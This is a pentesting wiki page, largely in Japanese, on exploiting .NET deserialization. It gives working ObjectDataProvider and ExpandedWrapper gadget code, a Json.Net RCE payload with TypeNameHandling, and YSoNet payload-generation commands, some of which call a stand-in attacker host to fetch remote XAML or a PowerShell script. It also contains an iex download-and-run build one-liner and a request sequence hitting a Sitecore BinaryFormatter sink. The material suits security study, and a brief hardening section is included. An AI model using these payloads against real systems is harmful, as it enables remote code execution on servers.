16 KiB
Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
{{#include ../../banners/hacktricks-training.md}}
この投稿は、ObjectDataProvider ガジェットがどのように悪用されて RCE を得るか、およびそのガジェットとともにシリアライゼーションライブラリ Json.Net と xmlSerializer がどのように悪用され得るか を理解することに捧げられています。
ObjectDataProvider Gadget
ドキュメントによると: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
説明はちょっと曖昧なので、このクラスの何が興味深いのか見てみましょう: このクラスは 任意のオブジェクトをラップし、MethodParameters を使って 任意のパラメータを設定し、その後 MethodName を使ってその任意のオブジェクトの任意の関数を任意のパラメータで呼び出す ことを可能にします。
つまり、任意の object は復号化(deserialized)される際に、パラメータ付きの関数を実行することになります。
How is this possible
System.Windows.Data 名前空間は C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF
にある PresentationFramework.dll 内に定義・実装されており、そこに ObjectDataProvider が存在します。
dnSpy を使えば、対象クラスの コードを調査 できます。下の画像は PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name のコードを示しています。
ご覧のとおり MethodName
が設定されると base.Refresh()
が呼ばれます。ではそれが何をするか見てみましょう:
次に this.BeginQuery()
が何をするかを見ていきます。BeginQuery
は ObjectDataProvider
によってオーバーライドされており、以下のようになっています:
コードの最後で this.QueryWorke(null)
を呼んでいることに注意してください。これが何を実行するか見てみましょう:
これは QueryWorker
関数の完全なコードではありませんが、興味深い部分を示しています: コードは this.InvokeMethodOnInstance(out ex);
を呼んでいる — ここが 設定されたメソッドが実行される 行です。
単に MethodName を設定するだけで それが実行される ことを確認したければ、次のコードを実行できます:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
Note that you need to add as reference C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll in order to load System.Windows.Data
ExpandedWrapper
Using the previous exploit there will be cases where the object is going to be deserialized as an ObjectDataProvider instance (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using GetType
). Then, will have no knowledge of the object type that is wrapped in the ObjectDataProvider instance (Process
for example). You can find more information about the DotNetNuke vuln here.
このクラスは、あるインスタンスにカプセル化されているオブジェクトの型を指定することを可能にします。したがって、このクラスはソースオブジェクト(ObjectDataProvider)を新しいオブジェクト型にカプセル化し、必要なプロパティ(ObjectDataProvider.MethodName と ObjectDataProvider.MethodParameters)を提供するために使用できます。
これは前述のようなケースで非常に有用です。なぜなら、ObjectDataProvider を ExpandedWrapper インスタンス内にラップ でき、デシリアライズされたときに このクラスが ObjectDataProvider オブジェクトを生成し、MethodName に示された関数を実行するからです。
You can check this wrapper with the following code:
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
In the official web page it is indicated that this library allows to Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer. したがって、もし deserialize the ObjectDataProvider gadget が可能であれば、オブジェクトをデシリアライズするだけで RCE を引き起こすことができます。
Json.Net の例
まずは、このライブラリを使ってオブジェクトをserialize/deserializeする方法の例を見てみましょう:
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Json.Netの悪用
ysoserial.net を使用して、exploitを作成しました:
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
このコードではtest the exploitができます。実行すると calc が実行されるのを確認できます:
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
上で紹介した ObjectDataProvider + ExpandedWrapper 技術は、アプリケーションが unsafe .NET deserialization を行う場合に悪用され得る多数の gadget chain のうちの一つに過ぎません。Modern red-team ツールである YSoNet(旧来の ysoserial.net を含む)は、何十種類もの gadgets やシリアライゼーション形式向けに、すぐに使える悪意あるオブジェクトグラフを自動生成します。
Below is a condensed reference of the most useful chains shipped with YSoNet together with a quick explanation of how they work and example commands to generate the payloads.
Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
---|---|---|---|
TypeConfuseDelegate | DelegateSerializationHolder レコードを破損させ、マテリアライズ後にデリゲートが攻撃者指定の任意のメソッド(例: Process.Start )を指すようにする |
BinaryFormatter , SoapFormatter , NetDataContractSerializer |
ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin |
ActivitySurrogateSelector | System.Workflow.ComponentModel.ActivitySurrogateSelector を悪用して .NET ≥4.8 の type-filtering をバイパス し、指定したクラスの constructor を直接呼び出すか、C# ファイルをその場で compile する |
BinaryFormatter , NetDataContractSerializer , LosFormatter |
ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat |
DataSetOldBehaviour | System.Data.DataSet の レガシー XML 表現を利用し、<ColumnMapping> / <DataType> フィールドを埋めることで任意の型をインスタンス化する(--spoofedAssembly でアセンブリを偽装可能) |
LosFormatter , BinaryFormatter , XmlSerializer |
ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml |
GetterCompilerResults | WPF 対応ランタイム(> .NET 5)でプロパティゲッターを連鎖させ System.CodeDom.Compiler.CompilerResults に到達し、-c で指定した DLL を compile または load する |
Json.NET typeless, MessagePack typeless |
ysonet.exe GetterCompilerResults -c Loader.dll > payload.json |
ObjectDataProvider (review) | WPF の System.Windows.Data.ObjectDataProvider を使って、制御可能な引数で任意の static メソッドを呼び出す。YSoNet は悪意ある XAML をリモートでホストする便利な --xamlurl 変種を追加している |
BinaryFormatter , Json.NET , XAML , etc. |
ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml |
PSObject (CVE-2017-8565) | ScriptBlock を System.Management.Automation.PSObject に埋め込み、PowerShell がオブジェクトを deserialize した際に実行される |
PowerShell remoting, BinaryFormatter |
ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin |
Tip
すべてのペイロードはデフォルトで stdout に書き出されます。そのため ViewState generators、base64 encoders、HTTP clients などの他ツールにパイプで渡すのが簡単です。
Building / Installing YSoNet
If no pre-compiled binaries are available under Actions ➜ Artifacts / Releases, the following PowerShell one-liner will set up a build environment, clone the repository and compile everything in Release mode:
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
The compiled ysonet.exe
can then be found under ysonet/bin/Release/
.
検出とハードニング
- 検出
w3wp.exe
、PowerShell.exe
、またはユーザー提供データをデシリアライズする任意のプロセス(例:MessagePack
、Json.NET
)の想定外の子プロセスを検知する。 - レガシーの
BinaryFormatter
/NetDataContractSerializer
を削除できない場合は、TypeFilterLevel
= Full、カスタムSurrogateSelector
、SerializationBinder
等を使用して 型フィルタリングを有効化および強制 する。 - 可能であれば、ホワイトリストベースのコンバーターを使って
System.Text.Json
またはDataContractJsonSerializer
に移行する。 - 決して必要としない web プロセスで
PresentationFramework
、System.Workflow.*
といった危険な WPF アセンブリがロードされないようブロックする。
実際の sink: Sitecore convertToRuntimeHtml → BinaryFormatter
認証済みの Sitecore XP Content Editor フローから到達可能な実用的な .NET sink:
- Sink API:
Sitecore.Convert.Base64ToObject(string)
はnew BinaryFormatter().Deserialize(...)
をラップしている。 - トリガー経路: パイプライン
convertToRuntimeHtml
→ConvertWebControls
は、id="{iframeId}_inner"
を持つ兄弟要素を検索し、base64 エンコードされたシリアライズ済みデータとして扱われるvalue
属性を読み取る。結果は string にキャストされて HTML に挿入される。
Minimal end‑to‑end (authenticated):
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
- Gadget: 任意の BinaryFormatter チェーンで string を返す(デシリアライズ中に副作用が実行される)。YSoNet/ysoserial.net を参照して payloads を生成する。
Sitecore における HTML cache poisoning による pre‑auth から始まり、この sink に至る完全なチェーンについては次を参照:
{{#ref}} ../../network-services-pentesting/pentesting-web/sitecore/README.md {{#endref}}
参考
- YSoNet – .NET Deserialization Payload Generator
- ysoserial.net – original PoC tool
- Microsoft – CVE-2017-8565
- watchTowr Labs – Sitecore XP cache poisoning → RCE
{{#include ../../banners/hacktricks-training.md}}